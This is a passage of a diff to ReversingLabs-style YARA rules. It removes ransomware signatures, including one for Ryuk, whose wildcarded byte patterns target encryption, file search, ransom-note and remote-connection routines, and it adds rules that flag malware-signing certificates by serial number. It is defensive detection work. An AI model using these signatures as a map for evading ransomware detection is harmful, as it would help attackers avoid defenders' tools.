?? ?? ?? 2D ?? 11 ?? 72 ?? ?? - ?? ?? 6F ?? ?? ?? ?? 2D ?? 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 11 ?? 72 ?? ?? ?? - ?? 6F ?? ?? ?? ?? 2D ?? 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 11 ?? 72 ?? ?? ?? ?? - 6F ?? ?? ?? ?? 2D ?? 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 02 11 ?? 28 ?? ?? ?? ?? - 07 17 58 0B 07 06 8E 69 32 ?? DE ?? 26 DE ?? 2A - } - $encrypt_files_p2 = { - 03 8E 69 17 59 0A 06 17 2F ?? 03 2A 03 06 95 0B 16 0D 1C 1F ?? 06 17 58 5B 58 13 ?? 2B - ?? 09 20 ?? ?? ?? ?? 58 0D 09 18 64 19 5F 13 ?? 16 13 ?? 2B ?? 03 11 ?? 17 58 95 0C 03 - 11 ?? 8F ?? ?? ?? ?? 25 4B 02 09 08 07 11 ?? 11 ?? 04 28 ?? ?? ?? ?? 58 25 13 ?? 54 11 - ?? 0B 11 ?? 17 58 13 ?? 11 ?? 06 32 ?? 03 16 95 0C 03 06 8F ?? ?? ?? ?? 25 4B 02 09 08 - 07 11 ?? 11 ?? 04 28 ?? ?? ?? ?? 58 25 13 ?? 54 11 ?? 0B 16 11 ?? 25 17 59 13 ?? 32 ?? - 03 2A - } - $encrypt_files_p3 = { - 05 1B 64 04 18 62 61 04 19 64 05 1A 62 61 58 03 04 61 0E ?? 0E ?? 19 5F 6A 0E ?? 6E 61 - D4 95 05 61 58 61 2A - } - $encrypt_files_p4 = { - 03 8E 2D ?? 03 2A 02 02 02 03 17 28 ?? ?? ?? ?? 02 02 7B ?? ?? ?? ?? 16 28 ?? ?? ?? ?? - 28 ?? ?? ?? ?? 16 28 ?? ?? ?? ?? 2A - } - $find_files_p1 = { - 73 ?? ?? ?? ?? 25 02 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 25 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 25 - 2D ?? 26 7E ?? ?? ?? ?? FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 25 80 ?? ?? ?? ?? 28 ?? ?? ?? - ?? 6F ?? ?? ?? ?? 2A - } - $find_files_p2 = { - 73 ?? ?? ?? ?? 25 1F ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 25 1B 28 ?? ?? ?? ?? 6F ?? ?? ?? - ?? 25 1F ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 25 1F ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 25 1F - ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2A - } - $change_desktop = { - 1F ?? 28 ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A 28 ?? ?? ?? ?? 06 28 ?? ?? ?? - ?? 6F ?? ?? ?? ?? 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 17 6F ?? ?? ?? ?? 25 72 ?? ?? ?? ?? 17 - 8C ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 16 8C ?? ?? ?? ?? 6F ?? ?? ?? ?? 1F ?? 16 - 06 19 28 ?? ?? ?? ?? 26 DE ?? 26 DE ?? 2A - } - $drop_ransom_note = { - 02 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 2A 00 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 02 7B ?? ?? - ?? ?? 6F ?? ?? ?? ?? 0D 12 ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 7E ?? ?? ?? - ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 0A 73 ?? ?? ?? ?? 0B 07 06 6F ?? ?? ?? ?? 26 07 6F ?? - ?? ?? ?? 26 07 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 26 02 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? - 2B ?? 12 ?? 28 ?? ?? ?? ?? 13 ?? 07 11 ?? 6F ?? ?? ?? ?? 26 12 ?? 28 ?? ?? ?? ?? 2D ?? - DE ?? 12 ?? FE 16 ?? ?? ?? ?? 6F ?? ?? ?? ?? DC 07 6F ?? ?? ?? ?? 0C 02 28 ?? ?? ?? ?? - 6F ?? ?? ?? ?? 13 ?? 2B ?? 11 ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 02 7B ?? ?? ?? ?? 28 ?? ?? - ?? ?? 06 28 ?? ?? ?? ?? 11 ?? 02 7B ?? ?? ?? ?? 28 ?? ?? ?? ?? 08 28 ?? ?? ?? ?? DE ?? - 26 DE ?? 11 ?? 6F ?? ?? ?? ?? 2D ?? DE ?? 11 ?? 2C ?? 11 ?? 6F ?? ?? ?? ?? DC DE ?? 26 - DE ?? 2A - } - condition: - uint16( 0 ) == 0x5A4D and ( all of ( $find_files_p* ) ) and ( all of ( $encrypt_files_p* ) ) and ( $change_desktop ) and ( $drop_ransom_note ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "KOG Co., Ltd." and pe.signatures [ i ] . serial == "66:e3:f0:b4:45:9f:15:ac:7f:2a:2b:44:99:0d:d7:09" and 1320288125 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Ryuk : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_610039D6349Ee531E4Caa3A65D100C7D : INFO FILE { meta: - description = "Yara rule that detects Ryuk ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "179c9277-0bdc-522a-a822-cf93febff408" - date = "2020-06-26" - modified = "2020-07-15" + id = "de018b47-9fbd-590e-b3d1-b50029496718" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Ryuk.yara#L1-L199" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16248-L16264" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "bf93892b281be20917656e242cbb0f3b3694439556b7e5e40a424ba1aa909105" + logic_hash = "e6b6a90cf40283d2e4d2d9c5732a078c9f2f117e3639ab5c0dd6c5323cb7c9ff" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Ryuk" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $encrypt_files_p1 = { - 55 8B EC 81 EC ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 66 89 85 ?? ?? ?? ?? - 6A ?? 6A ?? 8D 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8B 55 ?? 52 - FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? - ?? ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 75 ?? 8B 4D ?? 51 FF 15 ?? - ?? ?? ?? 33 C0 E9 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 33 D2 89 55 ?? 0F 57 C0 66 0F 13 - 45 ?? 83 7D ?? ?? 74 ?? 8D 45 ?? 50 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 8D 55 ?? 52 8B 45 - ?? 50 FF 15 ?? ?? ?? ?? 83 7D ?? ?? 75 ?? 83 7D ?? ?? 75 ?? 8B 4D ?? 51 FF 15 ?? ?? - ?? ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 0F 57 C0 66 0F 13 45 ?? 83 7D ?? ?? 77 ?? 81 7D - ?? ?? ?? ?? ?? 0F 86 ?? ?? ?? ?? 6A ?? 6A ?? 8B 55 ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? - 6A ?? 6A ?? 52 50 E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 52 50 E8 ?? ?? ?? ?? 89 45 ?? - 89 55 ?? 83 7D ?? ?? 72 ?? 77 ?? 81 7D ?? ?? ?? ?? ?? 76 ?? 6A ?? 6A ?? 8B 4D ?? 51 - 8B 55 ?? 52 E8 ?? ?? ?? ?? 6A ?? 6A ?? 52 50 E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 52 - 50 E8 ?? ?? ?? ?? 89 45 ?? 89 55 ?? 83 7D ?? ?? 77 ?? 72 ?? 81 7D ?? ?? ?? ?? ?? 77 - ?? 83 7D ?? ?? 77 ?? 72 ?? 83 7D ?? ?? 73 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? - ?? E9 ?? ?? ?? ?? 83 7D ?? ?? 77 ?? 81 7D ?? ?? ?? ?? ?? 76 ?? 83 7D ?? ?? 77 ?? 72 - ?? 81 7D ?? ?? ?? ?? ?? 73 ?? 6A ?? 6A ?? 8B 45 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 6A - ?? 6A ?? 52 50 E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 52 50 E8 ?? ?? ?? ?? 89 45 ?? 89 - 55 ?? EB ?? 83 7D ?? ?? 77 ?? 72 ?? 81 7D ?? ?? ?? ?? ?? 73 ?? 6A ?? 6A ?? 8B 55 ?? - 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 6A ?? 6A ?? 52 50 E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? - 52 50 E8 ?? ?? ?? ?? 89 45 ?? 89 55 ?? 83 7D ?? ?? 77 ?? 72 ?? 81 7D - } - $encrypt_files_p2 = { - 77 ?? 83 7D ?? ?? 77 ?? 72 ?? 83 7D ?? ?? 77 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? - ?? ?? 8B 4D ?? 89 8D ?? ?? ?? ?? 8B 55 ?? 89 95 ?? ?? ?? ?? 83 7D ?? ?? 77 ?? 72 ?? - 83 7D ?? ?? 73 ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 83 7D - ?? ?? 0F 84 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 77 ?? 81 BD ?? ?? ?? ?? ?? ?? ?? ?? 0F - 86 ?? ?? ?? ?? 8B 4D ?? 81 E9 ?? ?? ?? ?? 89 4D ?? 6A ?? 6A ?? 8B 55 ?? 52 8B 45 ?? - 50 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 75 ?? B8 ?? - ?? ?? ?? E9 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? - 6A ?? 8D 95 ?? ?? ?? ?? 52 6A ?? 8D 85 ?? ?? ?? ?? 50 8B 4D ?? 51 FF 15 ?? ?? ?? ?? - 89 45 ?? 83 7D ?? ?? 75 ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? EB ?? - 8B 55 ?? 83 C2 ?? 89 55 ?? 83 7D ?? ?? 0F 83 ?? ?? ?? ?? 83 7D ?? ?? 0F 84 ?? ?? ?? - ?? 8B 45 ?? 0F BE 8C 05 ?? ?? ?? ?? 83 F9 ?? 0F 85 ?? ?? ?? ?? 8B 55 ?? 0F BE 84 15 - ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 8B 4D ?? 0F BE 94 0D ?? ?? ?? ?? 83 FA ?? 0F - 85 ?? ?? ?? ?? 8B 45 ?? 0F BE 8C 05 ?? ?? ?? ?? 83 F9 ?? 0F 85 ?? ?? ?? ?? 8B 55 ?? - 0F BE 84 15 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 8B 4D ?? 0F BE 94 0D ?? ?? ?? ?? - 83 FA ?? 0F 85 ?? ?? ?? ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 89 8D ?? - ?? ?? ?? 8B 15 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 66 A1 ?? ?? ?? ?? 66 89 85 ?? ?? ?? ?? - 8D 8D ?? ?? ?? ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 83 BD ?? - ?? ?? ?? ?? 75 ?? 8B 45 ?? 89 45 ?? 8B 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? - 8D 85 ?? ?? ?? ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 8B 55 ?? 52 8B 45 ?? - 50 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 - } - $encrypt_files_p3 = { - 6A ?? 6A ?? 6A ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? - ?? 75 ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 55 ?? 52 6A ?? 68 ?? ?? ?? ?? 8B 45 ?? 50 - FF 15 ?? ?? ?? ?? 85 C0 75 ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 8B 55 ?? 52 FF 15 ?? ?? - ?? ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 83 7D - ?? ?? 77 ?? 81 7D ?? ?? ?? ?? ?? 0F 86 ?? ?? ?? ?? 8B 45 ?? 89 45 ?? 6A ?? 6A ?? 6A - ?? 68 ?? ?? ?? ?? 8B 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 50 8B 45 ?? 50 FF 15 ?? ?? - ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 75 ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 8B - 55 ?? 52 FF 15 ?? ?? ?? ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 6A ?? - 8D 45 ?? 50 6A ?? 8D 8D ?? ?? ?? ?? 51 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? - ?? 83 BD ?? ?? ?? ?? ?? 75 ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 51 FF 15 ?? ?? - ?? ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? - 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 75 ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? - 51 FF 15 ?? ?? ?? ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? EB ?? 6A ?? - 68 ?? ?? ?? ?? 8B 55 ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 89 45 ?? 6A ?? 68 - } - $encrypt_files_p4 = { - 8B 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 89 45 ?? C7 45 ?? ?? ?? ?? - ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? - ?? EB ?? 8B 4D ?? 83 C1 ?? 89 4D ?? 8B 55 ?? 3B 55 ?? 0F 87 ?? ?? ?? ?? C7 45 ?? ?? - ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 3B 45 ?? 75 ?? 8B 4D ?? 89 4D ?? C7 45 ?? ?? - ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 6A ?? 6A ?? 69 55 ?? ?? ?? ?? ?? 52 8B 45 ?? 50 FF 15 - ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 75 ?? 8B 4D ?? 51 FF 15 ?? ?? ?? - ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 8B - 4D ?? 51 8B 55 ?? 52 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? - ?? ?? 75 ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? B8 ?? ?? ?? - ?? E9 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 6A ?? 6A ?? 8B 4D ?? 51 6A - ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? - 51 FF 15 ?? ?? ?? ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 55 ?? 52 8D 45 ?? 50 8B 4D ?? - 51 6A ?? 8B 55 ?? 52 6A ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 8B 4D ?? 51 FF - 15 ?? ?? ?? ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 6A ?? 6A - ?? 69 45 ?? ?? ?? ?? ?? 50 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? - ?? ?? ?? ?? 75 ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? B8 ?? - ?? ?? ?? E9 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 6A ?? 8D 4D ?? 51 8B 55 ?? 52 8B 45 ?? - 50 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 75 ?? 8B 55 - ?? 52 FF 15 ?? ?? ?? ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? B8 ?? ?? ?? ?? E9 - } - $encrypt_files_p5 = { - E9 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8A 0D ?? ?? ?? ?? 88 4D ?? 33 D2 89 55 - ?? 89 55 ?? 89 55 ?? 89 55 ?? 88 55 ?? 6A ?? 6A ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 - ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? - ?? 83 7D ?? ?? 77 ?? 81 7D ?? ?? ?? ?? ?? 0F 86 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? - ?? ?? 33 C9 89 8D ?? ?? ?? ?? 6A ?? 6A ?? 8B 95 ?? ?? ?? ?? 52 8B 85 ?? ?? ?? ?? 50 - 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 8B 55 ?? 89 95 ?? ?? ?? ?? 6A ?? 6A ?? 8D 85 ?? ?? ?? - ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 8D 8D ?? ?? ?? ?? 51 8B 95 ?? ?? ?? ?? 52 E8 ?? - ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? - ?? 51 8D 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? - 83 C4 ?? 8D 4D ?? 51 8D 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 8D 45 ?? 50 8D 4D ?? - 51 E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? 6A ?? 8D 55 ?? 52 8D 45 ?? 50 E8 ?? - ?? ?? ?? 83 C4 ?? 50 8D 4D ?? 51 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? - 75 ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? B8 ?? ?? ?? ?? E9 - ?? ?? ?? ?? 8D 55 ?? 52 6A ?? 6A ?? 6A ?? 8B 45 ?? 50 8B 4D ?? 51 FF 15 ?? ?? ?? ?? - 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 75 ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 8B 45 ?? - 50 FF 15 ?? ?? ?? ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 8D 8D ?? ?? - ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 8D 55 ?? 52 8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? 8B 4D - ?? 51 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 75 ?? 8B - } - $encrypt_files_p6 = { - 45 ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? - ?? C7 45 ?? ?? ?? ?? ?? 6A ?? 8D 55 ?? 52 8B 45 ?? 50 8D 8D ?? ?? ?? ?? 51 8B 55 ?? - 52 FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 75 ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 8B 4D - ?? 51 FF 15 ?? ?? ?? ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 83 7D ?? ?? 77 ?? 81 7D ?? ?? - ?? ?? ?? 0F 86 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 33 D2 89 55 ?? 0F 57 C0 66 0F 13 45 - ?? 6A ?? 6A ?? 8B 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? - ?? 83 BD ?? ?? ?? ?? ?? 75 ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 51 FF 15 ?? ?? - ?? ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 6A ?? 8D 95 ?? ?? - ?? ?? 52 6A ?? 8D 85 ?? ?? ?? ?? 50 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? - 83 BD ?? ?? ?? ?? ?? 75 ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 8B 45 ?? 50 FF 15 ?? ?? ?? - ?? B8 ?? ?? ?? ?? EB ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 8B 55 ?? - 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 8D 8D - ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? EB ?? B8 - ?? ?? ?? ?? 8B E5 5D C3 - } - $remote_connection = { - 55 8B EC 81 EC ?? ?? ?? ?? 8B 45 ?? C7 00 ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? C7 45 ?? - ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 4D ?? 51 6A ?? 6A ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? - 89 45 ?? 6A ?? 68 ?? ?? ?? ?? 8B 55 ?? 52 6A ?? FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? - ?? 0F 84 ?? ?? ?? ?? 8B 45 ?? 89 45 ?? 8D 4D ?? 51 8B 55 ?? 52 6A ?? 6A ?? 6A ?? E8 - ?? ?? ?? ?? 89 45 ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 89 45 ?? EB ?? 8B 4D ?? 8B 51 ?? - 89 55 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 8B 45 ?? 83 C0 ?? 89 45 ?? C7 45 ?? ?? ?? ?? - ?? 8B 4D ?? 8B 51 ?? 89 55 ?? EB ?? 8B 45 ?? 8B 48 ?? 89 4D ?? 83 7D ?? ?? 0F 84 ?? - ?? ?? ?? 8B 55 ?? 83 C2 ?? 89 55 ?? 8D 85 ?? ?? ?? ?? 50 8B 4D ?? 83 C1 ?? 51 E8 ?? - ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? B9 ?? - ?? ?? ?? 6B D1 ?? 8D 8C 15 ?? ?? ?? ?? 3B C1 74 ?? 68 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? - 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? - ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 0F 57 C0 66 0F 13 45 ?? C7 45 ?? ?? ?? ?? ?? - 8D 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 75 ?? 83 C8 ?? E9 ?? ?? - ?? ?? 8D 55 ?? 89 55 ?? 8D 45 ?? 50 8B 4D ?? 0F B6 51 ?? 52 E8 - } - $find_files_p1 = { - 8B FF 55 8B EC 51 8B 4D ?? 53 57 33 DB 8D 51 ?? 66 8B 01 83 C1 ?? 66 3B C3 75 ?? 8B - 7D ?? 2B CA D1 F9 83 C8 ?? 41 2B C7 89 4D ?? 3B C8 76 ?? 6A ?? 58 EB ?? 56 8D 5F ?? - 03 D9 6A ?? 53 E8 ?? ?? ?? ?? 8B F0 59 59 85 FF 74 ?? 57 FF 75 ?? 53 56 E8 ?? ?? ?? - ?? 83 C4 ?? 85 C0 75 ?? FF 75 ?? 2B DF 8D 04 7E FF 75 ?? 53 50 E8 ?? ?? ?? ?? 83 C4 - ?? 85 C0 75 ?? 8B 4D ?? 56 E8 ?? ?? ?? ?? 6A ?? 8B F0 E8 ?? ?? ?? ?? 59 8B C6 5E 5F - 5B 8B E5 5D C3 33 C0 50 50 50 50 50 E8 ?? ?? ?? ?? CC 8B FF 55 8B EC 81 EC ?? ?? ?? - ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 8B 55 ?? 8B 4D ?? 53 8B 5D ?? 56 57 6A ?? 5E 6A ?? - 89 95 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 5F EB ?? 0F B7 01 66 3B 85 ?? ?? ?? - ?? 74 ?? 66 3B C6 74 ?? 66 3B C7 74 ?? 83 E9 ?? 3B CB 75 ?? 0F B7 31 66 3B F7 75 ?? - 8D 43 ?? 3B C8 74 ?? 52 33 FF 57 57 53 E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 6A ?? - 8B C6 33 FF 5A 66 3B C2 74 ?? 6A ?? 5A 66 3B C2 74 ?? 6A ?? 5A 66 3B C2 74 ?? 8B C7 - } - $find_files_p2 = { - EB ?? 33 C0 40 2B CB 0F B6 C0 D1 F9 41 F7 D8 68 ?? ?? ?? ?? 1B C0 23 C1 89 85 ?? ?? - ?? ?? 8D 85 ?? ?? ?? ?? 57 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 57 57 57 50 - 57 53 FF 15 ?? ?? ?? ?? 8B F0 83 FE ?? 75 ?? 8B 85 ?? ?? ?? ?? 50 57 57 53 E8 ?? ?? - ?? ?? 83 C4 ?? 8B F8 83 FE ?? 74 ?? 56 FF 15 ?? ?? ?? ?? 8B C7 8B 4D ?? 5F 5E 33 CD - 5B E8 ?? ?? ?? ?? 8B E5 5D C3 8B 8D ?? ?? ?? ?? 6A ?? 8B 41 ?? 2B 01 C1 F8 ?? 89 85 - ?? ?? ?? ?? 58 66 39 85 ?? ?? ?? ?? 75 ?? 66 39 BD ?? ?? ?? ?? 74 ?? 66 39 85 ?? ?? - ?? ?? 75 ?? 66 39 BD ?? ?? ?? ?? 74 ?? 51 FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 53 50 - E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 8B 8D - ?? ?? ?? ?? 85 C0 6A ?? 58 75 ?? 8B C1 8B 8D ?? ?? ?? ?? 8B 10 8B 40 ?? 2B C2 C1 F8 - ?? 3B C8 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 2B C1 6A ?? 50 8D 04 8A 50 E8 ?? ?? ?? ?? - 83 C4 ?? E9 - } - condition: - uint16( 0 ) == 0x5A4D and ( all of ( $find_files_p* 